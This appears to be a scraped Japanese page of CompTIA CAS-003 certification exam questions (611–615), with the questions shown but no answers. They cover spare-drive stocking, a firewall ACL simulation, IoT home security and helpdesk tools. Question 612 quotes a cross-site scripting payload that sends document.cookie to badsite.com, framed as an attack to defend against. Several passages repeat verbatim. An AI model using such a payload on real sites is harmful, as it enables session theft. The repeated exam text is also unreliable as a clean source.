CAS-003 試験問題 611
最近の停止に続いて、システム管理者はサーバーハードドライブの適切なベンチストックを決定するための調査を実施しています。次のメトリックのうち、手元に保持するハードドライブの数を決定する上で管理者にとって最も価値のあるものはどれですか?
CAS-003 試験問題 612
セキュリティ管理者は、サーバーのセキュリティログに次の行があることに気づきます。
<input name ='credentials' type ='TEXT' value ='"+ request.getParameter('> <script> document.location ='http://badsite.com/?q='document.cookie </ script> ')+ "'; 管理者は、サーバー上で実行されているアプリケーションを修正するのに開発者が多くの時間を要することを懸念しています。この特定の攻撃を防ぐために、セキュリティ管理者は次のうちどれを実装する必要がありますか?
<input name ='credentials' type ='TEXT' value ='"+ request.getParameter('> <script> document.location ='http://badsite.com/?q='document.cookie </ script> ')+ "'; 管理者は、サーバー上で実行されているアプリケーションを修正するのに開発者が多くの時間を要することを懸念しています。この特定の攻撃を防ぐために、セキュリティ管理者は次のうちどれを実装する必要がありますか?
CAS-003 試験問題 613
会社のポリシーに準拠するには、ファイアウォールルールを四半期ごとに確認する必要があります。複数の内部ネットワークの間にある内部ファイアウォールのレビューを行うように求められます。このファイアウォールの目的は、トラフィックをより安全にすることです。次の情報を前提として、以下にリストされているタスクを実行します。
信頼できないゾーン:0.0.0.0 / 0
ユーザーゾーン:USR 10.1.1.0/24
ユーザーゾーン:USR2 10.1.2.0/24
DBゾーン:10.1.4.0/24
Webアプリケーションゾーン:10.1.5.0/24
管理ゾーン:10.1.10.0 / 24
Webサーバー:10.1.5.50
MS-SQLサーバー:10.1.4.70
MGMTプラットフォーム:10.1.10.250
手順:必要なタスクを実行するには、DSTポート、SRCゾーン、プロトコル、アクション、またはルールの順序の列を変更してください。ANYと入力して、すべてのポートを含めます。ファイアウォールACLは上から下に読み取られます。シミュレーション要件を満たしたら、[保存]をクリックします。シミュレーションが完了したら、[完了]ボタンを選択して送信してください。シミュレーションが送信されたら、[次へ]ボタンを選択して続行してください。

タスク1)管理プラットフォームがインターネットにアクセスできないようにするルールが追加されました。このルールは機能していません。ルールを特定し、この問題を修正します。
タスク2)SQLサーバーがWebサーバーからの要求のみを受信できるようにファイアウォールを構成する必要があります。
タスク3)Webサーバーは、企業ネットワークの内外のホストから暗号化されていない要求を受信できる必要があります。
タスク4)最終ルールが明示的な拒否であることを確認します。
タスク5)現在、ユーザーゾーンは暗号化されていないプロトコルを介してインターネットWebサイトにアクセスできます。ウェブサイトへのユーザーアクセスが安全なプロトコルのみを介して行われるようにルールを変更します。
手順:必要なタスクを実行するには、DSTポート、SRCゾーン、プロトコル、アクション、またはルールの順序の列を変更してください。ANYと入力して、すべてのポートを含めます。ファイアウォールACLは上から下に読み取られます。シミュレーション要件を満たしたら、[保存]をクリックします。シミュレーションが完了したら、[完了]ボタンを選択して送信してください。シミュレーションが送信されたら、[次へ]ボタンを選択して続行してください。
信頼できないゾーン:0.0.0.0 / 0
ユーザーゾーン:USR 10.1.1.0/24
ユーザーゾーン:USR2 10.1.2.0/24
DBゾーン:10.1.4.0/24
Webアプリケーションゾーン:10.1.5.0/24
管理ゾーン:10.1.10.0 / 24
Webサーバー:10.1.5.50
MS-SQLサーバー:10.1.4.70
MGMTプラットフォーム:10.1.10.250
手順:必要なタスクを実行するには、DSTポート、SRCゾーン、プロトコル、アクション、またはルールの順序の列を変更してください。ANYと入力して、すべてのポートを含めます。ファイアウォールACLは上から下に読み取られます。シミュレーション要件を満たしたら、[保存]をクリックします。シミュレーションが完了したら、[完了]ボタンを選択して送信してください。シミュレーションが送信されたら、[次へ]ボタンを選択して続行してください。

タスク1)管理プラットフォームがインターネットにアクセスできないようにするルールが追加されました。このルールは機能していません。ルールを特定し、この問題を修正します。
タスク2)SQLサーバーがWebサーバーからの要求のみを受信できるようにファイアウォールを構成する必要があります。
タスク3)Webサーバーは、企業ネットワークの内外のホストから暗号化されていない要求を受信できる必要があります。
タスク4)最終ルールが明示的な拒否であることを確認します。
タスク5)現在、ユーザーゾーンは暗号化されていないプロトコルを介してインターネットWebサイトにアクセスできます。ウェブサイトへのユーザーアクセスが安全なプロトコルのみを介して行われるようにルールを変更します。
手順:必要なタスクを実行するには、DSTポート、SRCゾーン、プロトコル、アクション、またはルールの順序の列を変更してください。ANYと入力して、すべてのポートを含めます。ファイアウォールACLは上から下に読み取られます。シミュレーション要件を満たしたら、[保存]をクリックします。シミュレーションが完了したら、[完了]ボタンを選択して送信してください。シミュレーションが送信されたら、[次へ]ボタンを選択して続行してください。
CAS-003 試験問題 614
ユーザーは、セキュリティ担当者にホームネットワークのセキュリティ保護に関する推奨事項を尋ねます。最近のユーザー
家を自動化するために、接続されたホームアシスタントと複数のIoTデバイスを購入しました。いくつか
IoTデバイスの一部はウェアラブルであり、その他はユーザーの自動車に搭載されています。現在の家
ネットワークは、ISP提供のルーターの背後にある単一のフラットネットワークとして構成されます。ルーターには単一のIPがあります
アドレスを指定すると、ルーターは着信トラフィックに対してNATを実行して、個々のデバイスにルーティングします。
次のセキュリティ制御のうち、ユーザーのプライバシーの懸念に対処し、最高のものを提供するのはどれですか
ホームネットワークのセキュリティレベルは?
家を自動化するために、接続されたホームアシスタントと複数のIoTデバイスを購入しました。いくつか
IoTデバイスの一部はウェアラブルであり、その他はユーザーの自動車に搭載されています。現在の家
ネットワークは、ISP提供のルーターの背後にある単一のフラットネットワークとして構成されます。ルーターには単一のIPがあります
アドレスを指定すると、ルーターは着信トラフィックに対してNATを実行して、個々のデバイスにルーティングします。
次のセキュリティ制御のうち、ユーザーのプライバシーの懸念に対処し、最高のものを提供するのはどれですか
ホームネットワークのセキュリティレベルは?
CAS-003 試験問題 615
ヘルプデスクマネージャーは、ヘルプデスクスタッフが、コンピューター関連の問題で電話をかける会社の従業員により良いサービスを提供できるようにするソリューションを見つけたいと考えています。ヘルプデスクのスタッフは現在、効果的なトラブルシューティングを実行できず、技術的な問題を説明するために発信者に依存しています。ヘルプデスクのスタッフが会社の本社に配置され、発信者の90%が在宅勤務者である場合、ヘルプデスクのマネージャーがスタッフのトラブルシューティングをより効果的にすると同時に会社のコストを削減するために使用するツールは次のうちどれですか。
(2つ選択してください)。
(2つ選択してください)。
